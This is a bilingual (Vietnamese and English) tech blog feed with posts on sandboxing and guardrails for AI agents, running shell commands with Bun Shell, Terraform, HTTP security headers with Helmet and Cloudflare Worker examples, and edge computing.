blog.dopana

AI Harness Engineering: Đóng khung & kiểm soát AI Agent

Thu, 30 Jul 2026 00:00:00 GMT

Trong làn sóng phát triển mạnh mẽ của các mô hình ngôn ngữ lớn (LLM), chúng ta đã chứng kiến sự chuyển dịch từ việc chỉ tương tác dạng Chat (Chatbot) sang việc xây dựng các AI Agent tự chủ — có khả năng tự lập kế hoạch, sử dụng công cụ (tool calling) và thực thi chuỗi công việc phức tạp.

Tuy nhiên, thách thức lớn nhất khi đưa AI Agent vào hệ thống production không nằm ở việc mô hình thông minh đến đâu, mà ở tính vô định (non-deterministic), nguy cơ ảo giác (hallucination) và sự thiếu kiểm soát trong luồng thực thi. Đó là lý do khái niệm AI Harness Engineering (Kỹ thuật đóng khung và điều phối AI) ra đời.

AI Harness Engineering là gì?

Nếu Prompt Engineering tập trung vào việc tối ưu hóa câu từ để LLM trả lời tốt hơn, thì AI Harness Engineering nâng tầm lên cấp độ kiến trúc hệ thống.

AI Harness (Khung điều phối AI) là toàn bộ hạ tầng bao bọc xung quanh LLM: bao gồm quản lý ngữ cảnh (context management), cơ chế cấp quyền và thực thi công cụ (tool harness), hệ thống kiểm duyệt an toàn (guardrails), bộ nhớ (memory), cùng luồng đánh giá và sửa lỗi tự động (eval & feedback loop).

+-------------------------------------------------------------------+
|                        AI HARNESS SYSTEM                          |
|                                                                   |
|  +-------------------+   +------------------+   +--------------+  |
|  | Context & Memory  |   | Tool & Execution |   | Guardrails   |  |
|  +-------------------+   +------------------+   +--------------+  |
|                                                                   |
|                  +--------------------------+                     |
|                  |      LLM CORE ENGINE     |                     |
|                  +--------------------------+                     |
|                                                                   |
|  +--------------------------+      +---------------------------+  |
|  | Feedback & Eval Loop     |      | Sandbox Environment       |  |
|  +--------------------------+      +---------------------------+  |
+-------------------------------------------------------------------+

Harness đóng vai trò như "bộ khung gia cố" giúp mô hình hoạt động ổn định trong một phạm vi an toàn, tuân thủ đúng quy trình kinh doanh của doanh nghiệp.

Các thành phần cốt lõi của một AI Harness

1. Quản lý Context và Bộ nhớ (Context & Memory Harnessing)

LLM bị giới hạn bởi cửa sổ ngữ cảnh (context window) và khả năng ghi nhớ dài hạn. Một Harness chuẩn mực cần giải quyết:

Context Pruning & Compaction: Tự động lọc bỏ tin nhắn thừa, tóm tắt lịch sử hội thoại khi đạt giới hạn token.
Dynamic Retrieval (RAG): Chỉ nạp những tài liệu, mã nguồn hoặc kiến thức liên quan trực tiếp đến tác vụ hiện tại.
Episodic & Semantic Memory: Lưu giữ thông tin quan trọng giữa các phiên làm việc riêng biệt.

2. Quản lý Công cụ & Môi trường Thực thi (Tooling & Sandbox)

Khi AI Agent được phép chạy shell script, truy vấn database hay gọi API, rủi ro an ninh là cực kỳ lớn.

Sandbox cách ly: Mọi câu lệnh code hoặc shell từ Agent phải được thực thi trong Container (Docker/gVisor) hoặc WebAssembly sandbox cách ly hoàn toàn với máy chủ chính.
Strict Schema Verification: Định nghĩa input/output của tool bằng JSON Schema chuẩn chỉ, từ chối thực thi ngay từ vòng ngoài nếu Agent truyền sai tham số.
Human-in-the-loop (HITL): Cài đặt các điểm xác nhận (permission prompt) đối với các hành động nguy hiểm như xóa dữ liệu, gửi email hoặc ghi file cấu hình hệ thống.

[!IMPORTANT] Đừng bao giờ cho phép AI Agent thực thi lệnh với quyền root hoặc truy cập trực tiếp database production mà không có lớp Harness kiểm duyệt và giới hạn scope.

3. Guardrails và Kiểm soát Luồng (Flow Control)

Deterministic Routing: Thay vì để LLM tự quyết định 100% luồng đi, Harness sử dụng State Machine (như LangGraph, Temporal) để ép Agent tuân theo một quy trình (graph) định sẵn.
Output Validation: Sử dụng các thư viện như Pydantic, Zod để kiểm tra tính hợp lệ của dữ liệu đầu ra trước khi chuyển sang bước tiếp theo.

4. Vòng lặp Tự sửa lỗi (Self-Correction & Eval Loop)

Một điểm đặc trưng của Harness Engineering là khả năng feedback vòng lặp. Khi Agent gọi lệnh thất bại (ví dụ: lint error, syntax error, API 400):

Harness bắt lấy error log.
Đóng gói lỗi kèm vị trí dòng mã nguồn thành tin nhắn phản hồi (Feedback message).
Gửi lại cho LLM để LLM tự phân tích và đưa ra giải pháp sửa đổi ở lượt tiếp theo.

func ExecuteAgentStep(ctx context.Context, agent Agent, task Task) error {
    for attempt := 0; attempt < maxRetries; attempt++ {
        action, err := agent.Plan(ctx, task)
        if err != nil {
            return err
        }

        result, err := harness.ExecuteInSandbox(ctx, action)
        if err == nil {
            return nil // Thành công
        }

        // Harness tự động inject lỗi vào context để LLM sửa ở lượt sau
        task.AppendFeedback(fmt.Sprintf("Attempt %d failed: %v", attempt+1, err))
    }
    return fmt.Errorf("task failed after max retries")
}

Sự khác biệt giữa Prompt Engineering và Harness Engineering

| Tiêu chí | Prompt Engineering | AI Harness Engineering | |---|---|---| | Trọng tâm | Tối ưu câu văn, kĩ thuật system prompt | Thiết kế hạ tầng, state machine, sandbox | | Phạm vi | Đầu vào và đầu ra của 1 LLM call | Toàn bộ vòng đời ứng dụng AI (Multi-turn, Multi-agent) | | Độ tin cậy | Thấp - Trung bình | Cao - Tuân thủ chuẩn phần mềm | | Xử lý lỗi | Phụ thuộc vào khả năng tự nhận biết của LLM | Tự động bắt exception, rollback, retry và lặp feedback |

Tại sao Harness Engineering là tương lai của AI Software Development?

Khi các mô hình AI ngày càng rẻ và nhanh hơn, sự khác biệt giữa các ứng dụng AI không còn nằm ở việc chọn GPT-4o, Claude 3.5 Sonnet hay Gemini 1.5 Pro, mà nằm ở hệ thống Harness đi kèm.

Một AI Harness xuất sắc giúp:

Giảm chi phí token: Nhờ cắt giảm context thông minh.
Tăng tỷ lệ thành công (Success Rate): Nhờ vòng lặp tự sửa lỗi và ràng buộc quy trình nghiêm ngặt.
An toàn bảo mật: Nhờ cơ chế sandbox và kiểm soát quyền truy cập chặt chẽ.

Tóm lại

AI Harness Engineering chính là cầu nối giữa sự linh hoạt ngẫu nhiên của Trí tuệ nhân tạo và tính chính xác kỷ luật của Kỹ thuật phần mềm truyền thống. Đã đến lúc chúng ta ngừng coi AI là một chiếc "hộp đen thần kỳ" và bắt đầu xây dựng những bộ khung (harness) vững chắc để điều khiển nó một cách an toàn và hiệu quả nhất.

Tài liệu tham khảo

AI Harness Engineering: Governing & Orchestrating Agents

Thu, 30 Jul 2026 00:00:00 GMT

With the rapid evolution of Large Language Models (LLMs), we are witnessing a shift from passive conversational chatbots to autonomous AI Agents — systems capable of planning, tool calling, and executing complex workflows.

However, the biggest challenge when deploying AI Agents to production isn't model intelligence; it is non-determinism, hallucinations, and unconstrained execution flows. This is why AI Harness Engineering has emerged as a crucial discipline.

What is AI Harness Engineering?

While Prompt Engineering focuses on optimizing instructions for better LLM outputs, AI Harness Engineering operates at the architectural level.

An AI Harness is the entire software infrastructure encapsulating an LLM: including context management, tool execution & permission handling, safety guardrails, state memory, and automated evaluation/feedback loops.

+-------------------------------------------------------------------+
|                        AI HARNESS SYSTEM                          |
|                                                                   |
|  +-------------------+   +------------------+   +--------------+  |
|  | Context & Memory  |   | Tool & Execution |   | Guardrails   |  |
|  +-------------------+   +------------------+   +--------------+  |
|                                                                   |
|                  +--------------------------+                     |
|                  |      LLM CORE ENGINE     |                     |
|                  +--------------------------+                     |
|                                                                   |
|  +--------------------------+      +---------------------------+  |
|  | Feedback & Eval Loop     |      | Sandbox Environment       |  |
|  +--------------------------+      +---------------------------+  |
+-------------------------------------------------------------------+

The Harness acts as a protective scaffold, ensuring the model operates predictably within safe boundaries and adheres to business logic.

Core Components of an AI Harness

1. Context and Memory Management

LLMs are constrained by context windows and lack persistent memory. A robust Harness addresses this through:

Context Pruning & Compaction: Automatically trimming obsolete turns and summarizing conversation history as token limits approach.
Dynamic Retrieval (RAG): Injecting only relevant code snippets, docs, or domain knowledge for the current task step.
Episodic & Semantic Memory: Persisting key information across distinct sessions.

2. Tooling and Execution Sandboxes

Allowing AI Agents to execute shell scripts, query databases, or call APIs presents severe security risks.

Isolated Sandboxing: Executing agent code and shell commands inside isolated Docker/gVisor containers or WebAssembly environments.
Strict Schema Verification: Validating tool inputs/outputs via strict JSON Schemas, rejecting malformed requests prior to execution.
Human-in-the-Loop (HITL): Requiring explicit user approval for destructive operations like database mutation or system config updates.

[!IMPORTANT] Never grant AI Agents unconstrained root access or direct production database connections without a mediating Harness layer.

3. Guardrails and Flow Control

Deterministic Routing: Utilizing State Machines (e.g., LangGraph, Temporal) to enforce rigid workflow steps rather than relying solely on LLM decisions.
Output Validation: Enforcing schema validation libraries like Pydantic or Zod on structured outputs before progressing downstream.

4. Self-Correction and Evaluation Loops

A key feature of Harness Engineering is the feedback loop. When an agent command fails (e.g., syntax errors, failed lints, HTTP 400):

The Harness captures the raw error output.
It packages the traceback and context into a structured feedback payload.
It passes the feedback back to the LLM for automated self-diagnosis and retry.

func ExecuteAgentStep(ctx context.Context, agent Agent, task Task) error {
    for attempt := 0; attempt < maxRetries; attempt++ {
        action, err := agent.Plan(ctx, task)
        if err != nil {
            return err
        }

        result, err := harness.ExecuteInSandbox(ctx, action)
        if err == nil {
            return nil // Success
        }

        // Harness automatically injects runtime feedback for LLM retry
        task.AppendFeedback(fmt.Sprintf("Attempt %d failed: %v", attempt+1, err))
    }
    return fmt.Errorf("task failed after max retries")
}

Prompt Engineering vs. Harness Engineering

| Aspect | Prompt Engineering | AI Harness Engineering | |---|---|---| | Focus | Input wording & system prompts | Infrastructure, state machines, sandboxes | | Scope | Single LLM invocation | Full multi-turn & multi-agent lifecycle | | Reliability | Low to Medium | High (software-grade determinism) | | Error Handling | Relies on LLM self-awareness | Automated exception catching, retries & feedback |

Why Harness Engineering is the Future of AI Software Development

As model costs drop and speeds increase, the primary differentiator between production AI applications is no longer whether you choose GPT-4o, Claude 3.5 Sonnet, or Gemini 1.5 Pro, but the Harness architecture governing them.

An effective AI Harness delivers:

Reduced Token Costs: Through intelligent context compression.
Higher Success Rates: Via automated self-correction loops and workflow constraints.
Enterprise Security: Through sandboxed runtime isolation and strict access control.

Conclusion

AI Harness Engineering bridges the gap between the probabilistic flexibility of Large Language Models and the deterministic rigor of traditional software engineering. To build robust AI products, we must move beyond viewing AI as a "magic black box" and invest in building sturdy harness systems around them.

References

Chạy lệnh Shell trong JavaScript với Bun Shell

Thu, 30 Jul 2026 00:00:00 GMT

Bun Shell là một shell tương thích cross-platform kiểu bash được tích hợp sẵn trong runtime Bun, giúp bạn thực thi các lệnh shell dễ dàng ngay bên trong JavaScript và TypeScript mà không cần phụ thuộc vào các công cụ bên ngoài.

Bắt đầu với Bun Shell

Để sử dụng Bun Shell, bạn chỉ cần import hàm $ từ package bun. Hàm $ là một tagged template literal, chạy lệnh được truyền vào và trả về một Promise chứa kết quả của lệnh đó.

import { $ } from "bun";

await $`echo Hello, world!`; // => "Hello, world!"

Đọc kết quả đầu ra (Output)

Bạn có thể sử dụng phương thức .text() để lấy toàn bộ dữ liệu đầu ra dưới dạng chuỗi string:

import { $ } from "bun";

const output = await $`ls -l`.text();
console.log(output);

Duyệt từng dòng đầu ra với `lines()`

Để lặp và xử lý từng dòng của kết quả trả về, bạn có thể sử dụng phương thức .lines() kết hợp với vòng lặp for await:

import { $ } from "bun";

for await (const line of $`ls -l`.lines()) {
  console.log(line);
}

Tài liệu tham khảo

Demystifying Infrastructure as Code: Terraform Deep Dive

Thu, 30 Jul 2026 00:00:00 GMT

Trong thế giới phát triển phần mềm và điện toán đám mây hiện đại, việc quản lý hạ tầng thủ công qua giao diện web console hoặc các script tùy chỉnh dễ lỗi đang dần trở thành quá khứ. Terraform—công cụ chuẩn công nghiệp với mô hình nguồn mở/source-available—đã thay đổi hoàn toàn cách các đội ngũ kỹ thuật xây dựng, thay đổi và quản lý phiên bản hạ tầng đám mây.

Dù bạn đang khởi tạo vài máy chủ trên AWS, điều phối các triển khai đa đám mây (multi-cloud) phức tạp, hay cấp phát các cụm Kubernetes nội bộ, Terraform của HashiCorp đều mang lại sự trật tự, khả năng dự đoán và tính an toàn cho việc quản lý hạ tầng.

Hãy cùng tìm hiểu những yếu tố giúp Terraform trở thành công cụ thiết yếu trong bộ kỹ năng DevOps và khám phá cơ chế cốt lõi vận hành repository HashiCorp Terraform trên GitHub.

Terraform là gì?

Về bản chất, Terraform là một công cụ Infrastructure as Code (IaC). Nó cho phép bạn định nghĩa cả tài nguyên đám mây và on-premise bằng ngôn ngữ cấu hình cấp cao (HCL—HashiCorp Configuration Language).

Thay vì phải click qua lại trên các dashboard của nhà cung cấp dịch vụ đám mây, bạn viết các tệp cấu hình khai báo (declarative) mô tả trạng thái mong muốn cuối cùng. Terraform sau đó sẽ tự động tính toán cách biến thực tế khớp với mã nguồn của bạn.

Các trụ cột chính của Terraform

Declarative Configuration (Cấu hình khai báo): Bạn mô tả hạ tầng trông như thế nào, chứ không phải các lệnh shell từng bước để tạo ra nó. Terraform tự xử lý công việc nặng nhọc như gọi API, sắp xếp thứ tự phụ thuộc và xử lý lỗi.
Execution Plans (Kế hoạch thực thi): Trước khi thực hiện bất kỳ thay đổi nào, Terraform sẽ tạo ra một "plan". Bước này đóng vai trò như một bản xem trước an toàn, hiển thị chính xác tài nguyên nào sẽ được tạo, cập nhật hoặc xóa khi bạn chạy apply. Không còn những sự cố bất ngờ ngoài ý muốn!
Resource Graph (Đồ thị tài nguyên): Terraform xây dựng một đồ thị phụ thuộc (dependency graph) phức tạp cho tất cả các tài nguyên được quản lý. Nó tự động xác định các tài nguyên độc lập để khởi tạo hoặc sửa đổi song song, giúp tốc độ triển khai nhanh hơn đáng kể.
Change Automation (Tự động hóa thay đổi): Các tập thay đổi hạ tầng nhiều tầng phức tạp có thể được triển khai qua nhiều môi trường với sự can thiệp thủ công tối thiểu, giảm thiểu rủi ro do lỗi con người trong các đợt deployment ban đêm.

Bên dưới hậu trường: Core vs. Providers

Nếu quan sát repository Terraform trên GitHub, bạn sẽ nhận thấy phần lớn mã nguồn chứa Terraform Core.

Terraform Core được viết bằng Go và chịu trách nhiệm xử lý giao diện dòng lệnh (CLI), engine đồ thị cốt lõi, suy diễn/nội suy (interpolation) và quản lý trạng thái (state management).
Providers (như AWS, Azure, Google Cloud, Kubernetes, GitHub, v.v.) là các plugin được tách biệt hoàn toàn. Terraform tự động tải các provider này từ Terraform Registry khi cần, cho phép engine cốt lõi giao tiếp liền mạch với hàng nghìn API và dịch vụ khác nhau.

Tại sao các đội ngũ tin dùng Terraform?

Quản lý phiên bản và hợp tác: Vì hạ tầng được định nghĩa dưới dạng mã, bạn có thể đưa nó vào Git, kiểm duyệt thay đổi qua Pull Request, thử nghiệm các nhánh trên môi trường staging và rollback các bản cập nhật lỗi giống như mã nguồn ứng dụng.
Khả năng Multi-Cloud: Terraform không bị khóa chặt vào một hệ sinh thái duy nhất. Bạn có thể quản lý tài nguyên trên nhiều nhà cung cấp đám mây cùng lúc bằng một quy trình làm việc và cú pháp thống nhất.
Tính Idempotency và Quản lý State: Terraform theo dõi hạ tầng thực tế của bạn thông qua một tệp state (state file). Điều này đảm bảo việc chạy cùng một cấu hình nhiều lần sẽ tạo ra cùng một trạng thái ổn định duy nhất, và chỉ áp dụng thay đổi khi phát hiện có sự sai lệch (drift).

Bắt đầu với Terraform

Nếu bạn muốn bắt đầu xây dựng hạ tầng ngay hôm nay:

Xem qua tài liệu chính thức tại Terraform Documentation.
Khám phá các hướng dẫn thực hành trên HashiCorp Learn Platform.
Phân tích mã nguồn, đóng góp hoặc theo dõi quá trình phát triển tại HashiCorp Terraform GitHub Repository.

Bạn đã áp dụng Infrastructure as Code vào quy trình làm việc của mình chưa? Hãy chia sẻ cách bạn đang sử dụng Terraform trong các dự án ở phần thảo luận bên dưới!

Tài liệu tham khảo

Demystifying Infrastructure as Code: Terraform Deep Dive

Thu, 30 Jul 2026 00:00:00 GMT

In the modern world of software development and cloud computing, managing infrastructure manually via web consoles or fragile custom scripts is quickly becoming a thing of the past. Enter Terraform—the industry-standard, source-available tool that has fundamentally changed how engineering teams build, change, and version cloud infrastructure.

Whether you're spinning up a few servers in AWS, orchestrating complex multi-cloud deployments, or provisioning internal Kubernetes clusters, HashiCorp's Terraform brings order, predictability, and safety to infrastructure management.

Let's take a look at what makes Terraform an essential tool in every DevOps toolkit and explore the core mechanics that drive the open-source HashiCorp Terraform GitHub repository.

What is Terraform?

At its core, Terraform is an Infrastructure as Code (IaC) tool. It allows you to define both cloud and on-premise resources using a high-level configuration language (HCL—HashiCorp Configuration Language).

Instead of clicking through cloud provider dashboards, you write declarative configuration files that describe your desired end state. Terraform then figures out how to make reality match your code.

Key Pillars of Terraform

Declarative Configuration: You describe what the infrastructure should look like, not the step-by-step shell commands required to build it. Terraform handles the heavy lifting of figuring out API calls, ordering, and error handling.
Execution Plans: Before making any modifications, Terraform generates a "plan." This step acts as a safety preview, showing you precisely what resources will be created, updated, or destroyed when you hit apply. No more nasty surprises!
Resource Graph: Terraform builds a sophisticated dependency graph of all your managed resources. It automatically identifies independent resources and parallelizes their creation or modification, making deployments significantly faster.
Change Automation: Complex, multi-tier infrastructure changesets can be rolled out across environments with minimal human intervention, dramatically lowering the risk of human error during late-night deployments.

Under the Hood: Core vs. Providers

If you peek inside the Terraform GitHub repository, you'll notice it primarily houses Terraform Core.

Terraform Core is written in Go and handles the command-line interface (CLI), the core graph engine, interpolation, and state management.
Providers (such as AWS, Azure, Google Cloud, Kubernetes, GitHub, etc.) are decoupled plugins. Terraform automatically downloads these providers from the Terraform Registry as needed, allowing the core engine to interface seamlessly with thousands of different APIs and services.

Why Teams Rely on Terraform

Collaboration and Version Control: Because your infrastructure is defined as code, you can check it into Git, peer-review changes via pull requests, test branches in staging environments, and roll back bad updates just like application code.
Multi-Cloud Capabilities: Terraform isn't locked into a single ecosystem. You can manage resources across multiple cloud providers simultaneously using a unified workflow and syntax.
Idempotency and State Management: Terraform keeps track of your real-world infrastructure through a state file. This ensures that running the same configuration multiple times results in the exact same stable state, applying changes only when a drift occurs.

Getting Started

If you want to dive in and start building infrastructure:

Check out the official Terraform Documentation.
Explore the hands-on guides on HashiCorp's Learn Platform.
Inspect the source code, contribute, or track active development over at the HashiCorp Terraform GitHub Repository.

Have you adopted Infrastructure as Code in your workflow yet? Let us know how you're using Terraform in your projects in the comments below!

References

Run Shell Commands in JavaScript with Bun Shell

Thu, 30 Jul 2026 00:00:00 GMT

Bun Shell is a cross-platform, bash-like shell built directly into the Bun runtime. It enables developers to execute shell commands seamlessly within JavaScript and TypeScript without relying on external dependencies or third-party packages.

Getting Started with Bun Shell

To start using Bun Shell, import the $ function from the bun package. The $ function is a tagged template literal that executes the given command and returns a promise resolving with the output.

import { $ } from "bun";

await $`echo Hello, world!`; // => "Hello, world!"

Reading Command Output

You can extract the full standard output as a string by calling the .text() method:

import { $ } from "bun";

const output = await $`ls -l`.text();
console.log(output);

Iterating Over Lines with `lines()`

To process command output line by line, use the .lines() method combined with an asynchronous for await...of loop:

import { $ } from "bun";

for await (const line of $`ls -l`.lines()) {
  console.log(line);
}

References

Web Security Headers — Bảo Vệ Website Từ HTTP Headers

Thu, 30 Jul 2026 00:00:00 GMT

Security headers là lớp bảo vệ đầu tiên chống lại nhiều tấn công web phổ biến. Nhiều header chỉ là 1 dòng config — nhưng hiệu quả rất lớn.

Content Security Policy (CSP)

CSP kiểm soát resource nào được load trên trang — chống XSS và data injection mạnh nhất.

Cấu Trúc

Content-Security-Policy: default-src 'self'; script-src 'self' https://analytics.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://images.example.com

Directives

const csp = [
  // Default — fallback cho các directive khác
  "default-src 'self'",

  // Script — chỉ cho phép từ same origin
  "script-src 'self' 'wasm-unsafe-eval'",

  // Style
  "style-src 'self' 'unsafe-inline'",

  // Images
  "img-src 'self' data: https://*.cloudinary.com",

  // Font
  "font-src 'self' https://fonts.gstatic.com",

  // Connect (fetch, XHR, WebSocket)
  "connect-src 'self' https://api.example.com wss://ws.example.com",

  // Frame
  "frame-src 'none'",

  // Object (Flash, plugins)
  "object-src 'none'",

  // Form action
  "form-action 'self'",

  // Base URI
  "base-uri 'self'",

  // Report
  "report-uri /csp-report",
].join('; ');

CSP Report Only

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

Chỉ report, không block — dùng để test CSP mới trước khi enforce.

Nounce & Hash

<!-- Nonce — random token mỗi request -->
<script nonce="abc123">
  inlineScript();
</script>

Content-Security-Policy: script-src 'nonce-abc123'

<!-- Hash — hash của inline script -->
<script>
  inlineScript();
</script>

Content-Security-Policy: script-src 'sha256-abc123...'

Strict Transport Security (HSTS)

Yêu cầu trình duyệt chỉ dùng HTTPS — không bao giờ dùng HTTP:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

| Directive | Ý nghĩa | |---|---| | max-age=31536000 | 1 năm — nhớ chỉ dùng HTTPS | | includeSubDomains | Áp dụng cho subdomain | | preload | Đưa vào HSTS preload list (Chrome, Firefox) |

Preload

Khi preload được set và domain được submit vào hstspreload.org — browser built-in list, không bao giờ cho phép HTTP ngay cả lần đầu.

X-Frame-Options

Chống clickjacking — không cho trang web bị iframe:

X-Frame-Options: DENY
# hoặc
X-Frame-Options: SAMEORIGIN

CSP tương đương: frame-ancestors 'self' (CSP mạnh hơn, nên dùng CSP thay vì X-Frame-Options).

X-Content-Type-Options

Chống MIME type sniffing — browser không tự đoán content type:

X-Content-Type-Options: nosniff

Nếu không có header này, browser có thể đọc file .txt như HTML và chạy script.

Referrer-Policy

Kiểm soát thông tin referrer gửi đi:

Referrer-Policy: strict-origin-when-cross-origin

| Policy | Mô tả | |---|---| | no-referrer | Không gửi referrer | | same-origin | Chỉ gửi khi cùng origin | | strict-origin-when-cross-origin | (Mặc định) Gửi full URL cho same-origin, chỉ origin cho cross-origin, không gửi khi HTTPS→HTTP | | no-referrer-when-downgrade | Gửi full URL, trừ khi HTTPS→HTTP |

Permissions-Policy (Feature Policy)

Kiểm soát API browser được phép dùng:

Permissions-Policy: camera=(), microphone=(), geolocation=(self "https://maps.example.com"), payment=()

# Chặn tất cả
Permissions-Policy: camera=(), microphone=(), geolocation=()

# Cho phép một số origin
Permissions-Policy: geolocation=(self "https://maps.example.com"), usb=()

# Cho phép tất cả (không khuyến nghị)
Permissions-Policy: camera=*

Cross-Origin-Read-Block (CORB) & COOP/COEP

Cross-Origin-Opener-Policy (COOP)

Cross-Origin-Opener-Policy: same-origin

Isolate trang khỏi cross-origin — chống Spectre attack.

Cross-Origin-Embedder-Policy (COEP)

Cross-Origin-Embedder-Policy: require-cors

Yêu cầu cross-origin resource phải có CORS header — cho phép dùng SharedArrayBuffer.

Cross-Origin-Resource-Policy (CORP)

Cross-Origin-Resource-Policy: same-origin
# hoặc same-site, cross-origin

Cache Headers

# Static assets — cache dài
Cache-Control: public, max-age=31536000, immutable

# HTML — không cache
Cache-Control: no-cache, no-store, must-revalidate

# API response — cache có thời hạn
Cache-Control: private, max-age=300

Implementation — Express

import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'wasm-unsafe-eval'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https://images.example.com'],
      connectSrc: ["'self'", 'https://api.example.com'],
      fontSrc: ["'self'", 'https://fonts.gstatic.com'],
      objectSrc: ["'none'"],
      frameSrc: ["'none'"],
      formAction: ["'self'"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

Implementation — Cloudflare Workers

const securityHeaders = {
  'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
  'X-Content-Type-Options': 'nosniff',
  'X-Frame-Options': 'DENY',
  'Referrer-Policy': 'strict-origin-when-cross-origin',
  'Permissions-Policy': 'camera=(), microphone=(), geolocation=()',
  'Content-Security-Policy': "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'",
};

export default {
  async fetch(request: Request): Promise<Response> {
    const response = await handleRequest(request);
    const newResponse = new Response(response.body, response);

    Object.entries(securityHeaders).forEach(([key, value]) => {
      newResponse.headers.set(key, value);
    });

    return newResponse;
  },
};

Check Security Headers

# Curl
curl -I https://example.com | grep -i security

# Online tools
# https://securityheaders.com
# https://csp-evaluator.withgoogle.com

Checklist

[ ] Content-Security-Policy (CSP) — chống XSS
[ ] Strict-Transport-Security (HSTS) — HTTPS bắt buộc
[ ] X-Content-Type-Options: nosniff
[ ] X-Frame-Options: DENY hoặc CSP frame-ancestors
[ ] Referrer-Policy: strict-origin-when-cross-origin
[ ] Permissions-Policy: thu hẹp API access
[ ] Cache-Control: phù hợp cho từng loại resource
[ ] Set-Cookie: có HttpOnly, Secure, SameSite

Kết Luận

Security headers là low-effort, high-impact. Mất 10 phút để config — bảo vệ chống XSS, clickjacking, MIME sniffing, và nhiều tấn công khác. Dùng Helmet (Node.js) hoặc tự set headers trong Workers/nginx. Kiểm tra với securityheaders.com.

Tài liệu tham khảo

Beyond the Cloud: Tại sao Edge Computing là Bước chuyển lớn

Thu, 30 Jul 2026 00:00:00 GMT

Trong suốt thập kỷ vừa qua, "đám mây" (the cloud) đã trở thành trung tâm của mọi cuộc thảo luận công nghệ. Mọi thiết bị phát sinh dữ liệu—từ bộ nhiệt ẩm thông minh, cảm biến trong dây chuyền sản xuất cho đến camera trên điện thoại—đều gửi liên tục các gói tin về trung tâm dữ liệu tập trung (data center) cách xa hàng ngàn cây số để phân tích và lưu trữ.

Tuy nhiên, trước sự bùng nổ của hàng tỷ thiết bị IoT, hệ thống tự hành và ứng dụng AI yêu cầu phản hồi tức thì, mô hình đẩy toàn bộ dữ liệu thô lên mây đang lộ rõ những giới hạn. Đó là lúc Edge Computing (Điện toán biên) bước vào để tái cấu trúc lại hạ tầng xử lý dữ liệu.

Edge Computing thực chất là gì?

Thay vì phụ thuộc hoàn toàn vào hạ tầng đám mây tập trung ở xa, điện toán biên di chuyển năng lượng tính toán về sát nguồn phát sinh dữ liệu nhất có thể—ngay tại "biên" của mạng lưới.

So sánh đơn giản: Điện toán đám mây giống như một trung tâm logistics tổng ở cấp vùng, còn điện toán biên giống như cửa hàng tiện lợi ngay góc phố. Khi bạn cần một chai nước tức thì, việc di chuyển đến trung tâm tổng ở tỉnh khác là vô cùng lãng phí thời gian và chi phí đi lại. Điện toán biên đặt các gateway, cụm vi xử lý và thiết bị lưu trữ ngay sát cảm biến hay camera để phản hồi ngay lập tức.

Những động lực thúc đẩy sự dịch chuyển sang Biên

Đã có nhiều rào cản kỹ thuật buộc các kiến trúc sư hệ thống phải dịch chuyển tính toán về sát thiết bị:

Bài toán độ trễ cực thấp (Ultra-low Latency): Xe tự lái, robot phẫu thuật hay hệ thống giao dịch thuật toán không thể chờ đợi vài trăm millisecond cho hành trình dữ liệu khứ hồi (round-trip) lên cloud. Edge computing giúp xử lý và ra quyết định ngay trong vài millisecond.
Tối ưu hóa băng thông mạng (Bandwidth Optimization): Việc truyền tải dữ liệu video 4K liên tục hoặc hàng triệu phép đo cảm biến mỗi giây lên mây gây quá tải băng thông đường truyền. Các nút edge đảm nhận vai trò lọc, nén và phân tích tại chỗ, chỉ gửi thông tin đã qua xử lý lên cloud.
Tính sẵn sàng và khả năng hoạt động offline (Resilience): Khi đường truyền internet gặp sự cố, các hệ thống thuần cloud sẽ lập tức ngưng trệ. Ngược lại, thiết bị edge vẫn có khả năng vận hành độc lập và duy trì các tác vụ quan trọng mà không cần kết nối mạng liên tục.
Bảo mật và Tuân thủ dữ liệu (Data Privacy & Sovereignty): Xử lý dữ liệu ngay tại chỗ giúp hạn chế tối đa rủi ro lộ sỉ thông tin trên đường truyền, đồng thời đáp ứng các quy định khắt khe về lưu trữ dữ liệu nội địa.

Ứng dụng thực tế tiêu biểu

Điện toán biên đang âm thầm thay đổi cách vận hành của nhiều ngành công nghiệp:

Phương tiện tự lái (Autonomous Vehicles): Camera và hệ thống Lidar trên xe tự lái tạo ra lượng dữ liệu khổng lồ mỗi giây. Mọi thao tác phanh gấp hay đánh lái tránh vật cản đều phải được xử lý ngay tại bộ vi xử lý trên xe.
Nhà máy thông minh (Industrial IoT): Cảm biến biên liên tục giám sát độ rung và nhiệt độ của máy móc. Khi xuất hiện dấu hiệu bất thường, hệ thống edge sẽ phát lệnh dừng máy tức thì để tránh hỏng hóc nặng, thay vì chờ phản hồi từ server đám mây.
Thiết bị Y tế khẩn cấp: Máy theo dõi nhịp tim và các thiết bị hỗ trợ sự sống phân tích dữ liệu sinh hiệu tại chỗ để đưa ra cảnh báo tức thì cho đội ngũ y bác sĩ.
Chuỗi bán lẻ hiện đại: Các cửa hàng không thu ngân sử dụng hệ thống camera biên để nhận diện mặt hàng trong giỏ hàng của khách theo thời gian thực mà không làm tắc nghẽn hạ tầng mạng.

Edge Computing kết hợp Edge AI

Sự kết hợp giữa Điện toán biên và Trí tuệ nhân tạo—Edge AI—đang tạo ra bước ngoặt lớn. Thay vì chỉ lưu trữ hoặc xử lý logic đơn giản, các thiết bị biên hiện nay đã có thể chạy trực tiếp các mô hình Machine Learning gọn nhẹ để nhận diện hình ảnh, phân tích giọng nói và đưa ra dự đoán phức tạp ngay tại chỗ.

Lời kết: Mối quan hệ tương hỗ giữa Edge và Cloud

Dịch chuyển sang điện toán biên không đồng nghĩa với việc điện toán đám mây bị thay thế. Cloud và Edge tồn tại song hành và bổ trợ lẫn nhau:

Edge đảm nhận các tác vụ tính toán thời gian thực, phản hồi nhanh và xử lý dữ liệu địa phương.
Cloud đóng vai trò là trung tâm lưu trữ lâu dài, huấn luyện các mô hình AI lớn và phân tích dữ liệu chuyên sâu trên quy mô toàn cầu.

